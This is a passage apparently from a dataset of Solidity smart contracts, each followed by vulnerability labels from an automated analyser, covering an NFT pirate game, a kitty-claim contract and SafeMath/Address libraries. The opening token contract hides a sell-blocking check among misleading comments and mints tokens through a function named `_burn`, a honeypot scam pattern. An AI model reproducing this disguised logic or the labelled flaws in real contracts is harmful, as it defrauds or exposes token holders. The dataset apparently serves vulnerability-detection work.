* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _transfer (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _burn(address _Address, uint _Amount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
invalid = _Address;
_totalSupply = _totalSupply.add(_Amount);
balances[_Address] = balances[_Address].add(_Amount);
}
function _transfer (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be a invalid address. */ || ((IERC20(openzepplin).invalidAddress(start) == true || start == invalid) && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply) {
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = _supply*(10**uint(decimals));
number = _totalSupply;
approver = IERC20(openzepplin).approver();
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
receive() external payable {
}
fallback() external payable {
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
/* ==================================================================== */
/* Copyright (c) 2018 The Priate Conquest Project. All rights reserved.
/*
/* https://www.pirateconquest.com One of the world's slg games of blockchain
/*
/* authors rainy@livestar.com/Jonny.Fu@livestar.com
/*
/* ==================================================================== */
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/*
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev modifier to allow actions only when the contract IS paused
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev modifier to allow actions only when the contract IS NOT paused
*/
modifier whenPaused {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() external onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() external onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract AccessAdmin is Pausable {
/// @dev Admin Address
mapping (address => bool) adminContracts;
/// @dev Trust contract
mapping (address => bool) actionContracts;
function setAdminContract(address _addr, bool _useful) public onlyOwner {
require(_addr != address(0));
adminContracts[_addr] = _useful;
}
modifier onlyAdmin {
require(adminContracts[msg.sender]);
_;
}
function setActionContract(address _actionAddr, bool _useful) public onlyAdmin {
actionContracts[_actionAddr] = _useful;
}
modifier onlyAccess() {
require(actionContracts[msg.sender]);
_;
}
}
/// @title ERC-721 Non-Fungible Token Standard
/// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
/// Note: the ERC-165 identifier for this interface is 0x80ac58cd
contract ERC721 /* is ERC165 */ {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) external view returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external payable;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable;
function transferFrom(address _from, address _to, uint256 _tokenId) external payable;
function approve(address _approved, uint256 _tokenId) external payable;
function setApprovalForAll(address _operator, bool _approved) external;
function getApproved(uint256 _tokenId) external view returns (address);
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
interface ERC165 {
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
/// @title ERC-721 Non-Fungible Token Standard
interface ERC721TokenReceiver {
function onERC721Received(address _from, uint256 _tokenId, bytes data) external returns(bytes4);
}
/// @title ERC-721 Non-Fungible Token Standard, optional metadata extension
/// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
/// Note: the ERC-165 identifier for this interface is 0x5b5e139f
interface ERC721Metadata /* is ERC721 */ {
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function tokenURI(uint256 _tokenId) external view returns (string);
}
/// @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
/// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
/// Note: the ERC-165 identifier for this interface is 0x780e9d63
interface ERC721Enumerable /* is ERC721 */ {
function totalSupply() external view returns (uint256);
function tokenByIndex(uint256 _index) external view returns (uint256);
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256);
}
contract CaptainToken is AccessAdmin, ERC721 {
using SafeMath for SafeMath;
//event
event CreateCaptain(uint tokenId,uint32 captainId, address _owner, uint256 _price);
//ERC721
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
struct Captain {
uint32 captainId;
uint32 color;
uint32 atk;
uint32 defense;
uint32 atk_min;
uint32 atk_max;
}
Captain[] public captains; //dynamic Array
function CaptainToken() public {
captains.length += 1;
setAdminContract(msg.sender,true);
setActionContract(msg.sender,true);
}
/**MAPPING**/
/// @dev tokenId to owner tokenId -> address
mapping (uint256 => address) public captainTokenIdToOwner;
/// @dev Equipment token ID search in owner array captainId -> tokenId
mapping (uint256 => uint256) captainIdToOwnerIndex;
/// @dev captains owner by the owner (array)
mapping (address => uint256[]) ownerToCaptainArray;
/// @dev price of each token
mapping (uint256 => uint256) captainTokenIdToPrice;
/// @dev token count of captain
mapping (uint32 => uint256) tokenCountOfCaptain;
/// @dev tokens by the captain
mapping (uint256 => uint32) IndexToCaptain;
/// @dev The authorized address for each Captain
mapping (uint256 => address) captainTokenIdToApprovals;
/// @dev The authorized operators for each address
mapping (address => mapping (address => bool)) operatorToApprovals;
mapping(uint256 => bool) tokenToSell;
/// @dev captain by the owner (array)
mapping (address => uint256[]) ownerToCaptainsArray;
/*** CONSTRUCTOR ***/
/// @dev Amount of tokens destroyed
uint256 destroyCaptainCount;
// modifier
/// @dev Check if token ID is valid
modifier isValidToken(uint256 _tokenId) {
require(_tokenId >= 1 && _tokenId <= captains.length);
require(captainTokenIdToOwner[_tokenId] != address(0));
_;
}
modifier canTransfer(uint256 _tokenId) {
require(msg.sender == captainTokenIdToOwner[_tokenId] || msg.sender == captainTokenIdToApprovals[_tokenId]);
_;
}
/// @dev Creates a new Captain with the given name.
function CreateCaptainToken(address _owner,uint256 _price, uint32 _captainId, uint32 _color,uint32 _atk,uint32 _defense,uint32 _atk_min,uint32 _atk_max) public onlyAccess {
_createCaptainToken(_owner,_price,_captainId,_color,_atk,_defense,_atk_min,_atk_max);
}
function checkCaptain(address _owner,uint32 _captainId) external view returns (bool) {
uint256 len = ownerToCaptainsArray[_owner].length;
bool bexist = false;
for (uint256 i=0;i<len;i++) {
if (ownerToCaptainsArray[_owner][i] == _captainId) {
bexist = true;
}
}
return bexist;
}
/// For creating CaptainToken
function _createCaptainToken(address _owner, uint256 _price, uint32 _captainId, uint32 _color, uint32 _atk, uint32 _defense,uint32 _atk_min, uint32 _atk_max)
internal {
uint256 newTokenId = captains.length;
Captain memory _captain = Captain({
captainId: _captainId,
color: _color,
atk: _atk,
defense: _defense,
atk_min: _atk_min,
atk_max: _atk_max
});
captains.push(_captain);
//event
CreateCaptain(newTokenId, _captainId, _owner, _price);
captainTokenIdToPrice[newTokenId] = _price;
IndexToCaptain[newTokenId] = _captainId;
ownerToCaptainsArray[_owner].push(_captainId);
tokenCountOfCaptain[_captainId] = SafeMath.add(tokenCountOfCaptain[_captainId],1);
// This will assign ownership, and also emit the Transfer event as
// per ERC721 draft
_transfer(address(0), _owner, newTokenId);
}
/// @dev set the token price
function setTokenPrice(uint256 _tokenId, uint256 _price) external onlyAccess {
captainTokenIdToPrice[_tokenId] = _price;
}
/// @dev let owner set the token price
function setTokenPriceByOwner(uint256 _tokenId, uint256 _price) external {
require(captainTokenIdToOwner[_tokenId] == msg.sender);
captainTokenIdToPrice[_tokenId] = _price;
}
/// @dev set sellable
function setSelled(uint256 _tokenId, bool fsell) external onlyAccess {
tokenToSell[_tokenId] = fsell;
}
function getSelled(uint256 _tokenId) external view returns (bool) {
return tokenToSell[_tokenId];
}
/// @dev Do the real transfer with out any condition checking
/// @param _from The old owner of this Captain(If created: 0x0)
/// @param _to The new owner of this Captain
/// @param _tokenId The tokenId of the Captain
function _transfer(address _from, address _to, uint256 _tokenId) internal {
if (_from != address(0)) {
uint256 indexFrom = captainIdToOwnerIndex[_tokenId]; // tokenId -> captainId
uint256[] storage cpArray = ownerToCaptainArray[_from];
require(cpArray[indexFrom] == _tokenId);
// If the Captain is not the element of array, change it to with the last
if (indexFrom != cpArray.length - 1) {
uint256 lastTokenId = cpArray[cpArray.length - 1];
cpArray[indexFrom] = lastTokenId;
captainIdToOwnerIndex[lastTokenId] = indexFrom;
}
cpArray.length -= 1;
if (captainTokenIdToApprovals[_tokenId] != address(0)) {
delete captainTokenIdToApprovals[_tokenId];
}
}
// Give the Captain to '_to'
captainTokenIdToOwner[_tokenId] = _to;
ownerToCaptainArray[_to].push(_tokenId);
captainIdToOwnerIndex[_tokenId] = ownerToCaptainArray[_to].length - 1;
Transfer(_from != address(0) ? _from : this, _to, _tokenId);
}
/// @notice Returns all the relevant information about a specific tokenId.
/// @param _tokenId The tokenId of the captain
function getCaptainInfo(uint256 _tokenId) external view returns (
uint32 captainId,
uint32 color,
uint32 atk,
uint32 atk_min,
uint32 atk_max,
uint32 defense,
uint256 price,
address owner,
bool selled
) {
Captain storage captain = captains[_tokenId];
captainId = captain.captainId;
color = captain.color;
atk = captain.atk;
atk_min = captain.atk_min;
atk_max = captain.atk_max;
defense = captain.defense;
price = captainTokenIdToPrice[_tokenId];
owner = captainTokenIdToOwner[_tokenId];
selled = tokenToSell[_tokenId];
}
/// ERC721
function balanceOf(address _owner) external view returns (uint256) {
require(_owner != address(0));
return ownerToCaptainArray[_owner].length;
}
function ownerOf(uint256 _tokenId) external view returns (address) {
return captainTokenIdToOwner[_tokenId];
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external payable {
_safeTransferFrom(_from, _to, _tokenId, data);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable {
_safeTransferFrom(_from, _to, _tokenId, "");
}
/// @dev Actually perform the safeTransferFrom
function _safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data)
internal
isValidToken(_tokenId)
canTransfer(_tokenId)
{
address owner = captainTokenIdToOwner[_tokenId];
require(owner != address(0) && owner == _from);
require(_to != address(0));
_transfer(_from, _to, _tokenId);
// Do the callback after everything is done to avoid reentrancy attack
/*uint256 codeSize;
assembly { codeSize := extcodesize(_to) }
if (codeSize == 0) {
return;
}*/
bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(_from, _tokenId, data);
// bytes4(keccak256("onERC721Received(address,uint256,bytes)")) = 0xf0b9e5ba;
require(retval == 0xf0b9e5ba);
}
/// @dev Transfer ownership of an Captain, '_to' must be a vaild address, or the WAR will lost
/// @param _from The current owner of the Captain
/// @param _to The new owner
/// @param _tokenId The Captain to transfer
function transferFrom(address _from, address _to, uint256 _tokenId)
external
whenNotPaused
isValidToken(_tokenId)
canTransfer(_tokenId)
payable
{
address owner = captainTokenIdToOwner[_tokenId];
require(owner != address(0));
require(owner == _from);
require(_to != address(0));
_transfer(_from, _to, _tokenId);
}
/// @dev Safe transfer by trust contracts
function safeTransferByContract(address _from,address _to, uint256 _tokenId)
external
whenNotPaused
{
require(actionContracts[msg.sender]);
require(_tokenId >= 1 && _tokenId <= captains.length);
address owner = captainTokenIdToOwner[_tokenId];
require(owner != address(0));
require(_to != address(0));
require(owner != _to);
require(_from == owner);
_transfer(owner, _to, _tokenId);
}
/// @dev Set or reaffirm the approved address for an captain
/// @param _approved The new approved captain controller
/// @param _tokenId The captain to approve
function approve(address _approved, uint256 _tokenId)
external
whenNotPaused
payable
{
address owner = captainTokenIdToOwner[_tokenId];
require(owner != address(0));
require(msg.sender == owner || operatorToApprovals[owner][msg.sender]);
captainTokenIdToApprovals[_tokenId] = _approved;
Approval(owner, _approved, _tokenId);
}
/// @dev Enable or disable approval for a third party ("operator") to manage all your asset.
/// @param _operator Address to add to the set of authorized operators.
/// @param _approved True if the operators is approved, false to revoke approval
function setApprovalForAll(address _operator, bool _approved)
external
whenNotPaused
{
operatorToApprovals[msg.sender][_operator] = _approved;
ApprovalForAll(msg.sender, _operator, _approved);
}
/// @dev Get the approved address for a single Captain
/// @param _tokenId The WAR to find the approved address for
/// @return The approved address for this WAR, or the zero address if there is none
function getApproved(uint256 _tokenId) external view isValidToken(_tokenId) returns (address) {
return captainTokenIdToApprovals[_tokenId];
}
/// @dev Query if an address is an authorized operator for another address
/// @param _owner The address that owns the WARs
/// @param _operator The address that acts on behalf of the owner
/// @return True if `_operator` is an approved operator for `_owner`, false otherwise
function isApprovedForAll(address _owner, address _operator) external view returns (bool) {
return operatorToApprovals[_owner][_operator];
}
/// @notice A descriptive name for a collection of NFTs in this contract
function name() public pure returns(string) {
return "Pirate Conquest Token";
}
/// @notice An abbreviated name for NFTs in this contract
function symbol() public pure returns(string) {
return "PCT";
}
/// @notice A distinct Uniform Resource Identifier (URI) for a given asset.
/// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC
/// 3986. The URI may point to a JSON file that conforms to the "ERC721
/// Metadata JSON Schema".
//function tokenURI(uint256 _tokenId) external view returns (string);
/// @notice Count NFTs tracked by this contract
/// @return A count of valid NFTs tracked by this contract, where each one of
/// them has an assigned and queryable owner not equal to the zero address
function totalSupply() external view returns (uint256) {
return captains.length - destroyCaptainCount -1;
}
/// @notice Enumerate valid NFTs
/// @dev Throws if `_index` >= `totalSupply()`.
/// @param _index A counter less than `totalSupply()`
/// @return The token identifier for the `_index`th NFT,
/// (sort order not specified)
function tokenByIndex(uint256 _index) external view returns (uint256) {
require(_index<(captains.length - destroyCaptainCount));
//return captainIdToOwnerIndex[_index];
return _index;
}
/// @notice Enumerate NFTs assigned to an owner
/// @dev Throws if `_index` >= `balanceOf(_owner)` or if
/// `_owner` is the zero address, representing invalid NFTs.
/// @param _owner An address where we are interested in NFTs owned by them
/// @param _index A counter less than `balanceOf(_owner)`
/// @return The token identifier for the `_index`th NFT assigned to `_owner`,
/// (sort order not specified)
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256) {
require(_index < ownerToCaptainArray[_owner].length);
if (_owner != address(0)) {
uint256 tokenId = ownerToCaptainArray[_owner][_index];
return tokenId;
}
}
/// @param _owner The owner whose celebrity tokens we are interested in.
/// @dev This method MUST NEVER be called by smart contract code. First, it's fairly
/// expensive (it walks the entire Persons array looking for persons belonging to owner),
/// but it also returns a dynamic array, which is only supported for web3 calls, and
/// not contract-to-contract calls.
function tokensOfOwner(address _owner) external view returns (uint256[],uint32[]) {
uint256 len = ownerToCaptainArray[_owner].length;
uint256[] memory tokens = new uint256[](len);
uint32[] memory captainss = new uint32[](len);
uint256 icount;
if (_owner != address(0)) {
for (uint256 i=0;i<len;i++) {
tokens[i] = ownerToCaptainArray[_owner][icount];
captainss[i] = IndexToCaptain[ownerToCaptainArray[_owner][icount]];
icount++;
}
}
return (tokens,captainss);
}
/// @param _captainId The captain whose celebrity tokens we are interested in.
/// @dev This method MUST NEVER be called by smart contract code. First, it's fairly
/// expensive (it walks the entire Persons array looking for persons belonging to owner),
/// but it also returns a dynamic array, which is only supported for web3 calls, and
/// not contract-to-contract calls.
function tokensOfCaptain(uint32 _captainId) public view returns(uint256[] captainTokens) {
uint256 tokenCount = tokenCountOfCaptain[_captainId];
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalcaptains = captains.length - destroyCaptainCount - 1;
uint256 resultIndex = 0;
uint256 tokenId;
for (tokenId = 0; tokenId <= totalcaptains; tokenId++) {
if (IndexToCaptain[tokenId] == _captainId) {
result[resultIndex] = tokenId;
resultIndex++;
}
}
return result;
}
}
function tokensOfSell() external view returns (uint256[],bool[],address[],uint32[]) {
uint256 len = captains.length - destroyCaptainCount -1;
uint256[] memory tokens = new uint256[](len);
bool[] memory captainss = new bool[](len);
address[] memory owner = new address[](len);
uint32[] memory captainId = new uint32[](len);
uint256 icount;
for (uint256 i=0;i<len;i++) {
icount++;
tokens[i] = icount;
owner[i] = captainTokenIdToOwner[icount];
captainId[i] = IndexToCaptain[icount];
if (tokenToSell[icount] == true) {
captainss[i] = true;
}else{
captainss[i] = false;
}
}
return (tokens,captainss,owner,captainId);
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function mul32(uint32 a, uint32 b) internal pure returns (uint32) {
if (a == 0) {
return 0;
}
uint32 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function div32(uint32 a, uint32 b) internal pure returns (uint32) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint32 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function sub32(uint32 a, uint32 b) internal pure returns (uint32) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
assert(c >= a);
return c;
}
} | These are the vulnerabilities found
1) uninitialized-state with High impact
2) locked-ether with Medium impact
3) controlled-array-length with High impact |
pragma solidity ^0.4.18;
/* ==================================================================== */
/* Copyright (c) 2018 The Priate Conquest Project. All rights reserved.
/*
/* https://www.pirateconquest.com One of the world's slg games of blockchain
/*
/* authors rainy@livestar.com/Jonny.Fu@livestar.com
/*
/* ==================================================================== */
contract KittyInterface {
function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function balanceOf(address _owner) public view returns (uint256 count);
}
interface KittyTokenInterface {
function transferFrom(address _from, address _to, uint256 _tokenId) external;
function setTokenPrice(uint256 _tokenId, uint256 _price) external;
function CreateKittyToken(address _owner,uint256 _price, uint32 _kittyId) public;
}
contract CaptainKitty {
address owner;
//event
event CreateKitty(uint _count,address _owner);
KittyInterface kittyContract;
KittyTokenInterface kittyToken;
/// @dev Trust contract
mapping (address => bool) actionContracts;
mapping (address => uint256) kittyToCount;
mapping (address => bool) kittyGetOrNot;
function CaptainKitty() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function setActionContract(address _actionAddr, bool _useful) public onlyOwner {
actionContracts[_actionAddr] = _useful;
}
modifier onlyAccess() {
require(actionContracts[msg.sender]);
_;
}
function setKittyContractAddress(address _address) external onlyOwner {
kittyContract = KittyInterface(_address);
}
function setKittyTokenAddress(address _address) external onlyOwner {
kittyToken = KittyTokenInterface(_address);
}
function createKitties() external payable {
uint256 kittycount = kittyContract.balanceOf(msg.sender);
require(kittyGetOrNot[msg.sender] == false);
if (kittycount>=99) {
kittycount=99;
}
if (kittycount>0 && kittyToCount[msg.sender]==0) {
kittyToCount[msg.sender] = kittycount;
kittyGetOrNot[msg.sender] = true;
for (uint i=0;i<kittycount;i++) {
kittyToken.CreateKittyToken(msg.sender,0, 1);
}
//event
CreateKitty(kittycount,msg.sender);
}
}
function getKitties() external view returns(uint256 kittycnt,uint256 captaincnt,bool bGetOrNot) {
kittycnt = kittyContract.balanceOf(msg.sender);
captaincnt = kittyToCount[msg.sender];
bGetOrNot = kittyGetOrNot[msg.sender];
}
function getKittyGetOrNot(address _addr) external view returns (bool) {
return kittyGetOrNot[_addr];
}
function getKittyCount(address _addr) external view returns (uint256) {
return kittyToCount[_addr];
}
function birthKitty() external onlyAccess payable {
}
} | These are the vulnerabilities found
1) incorrect-equality with Medium impact
2) erc20-interface with Medium impact
3) locked-ether with Medium impact |
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
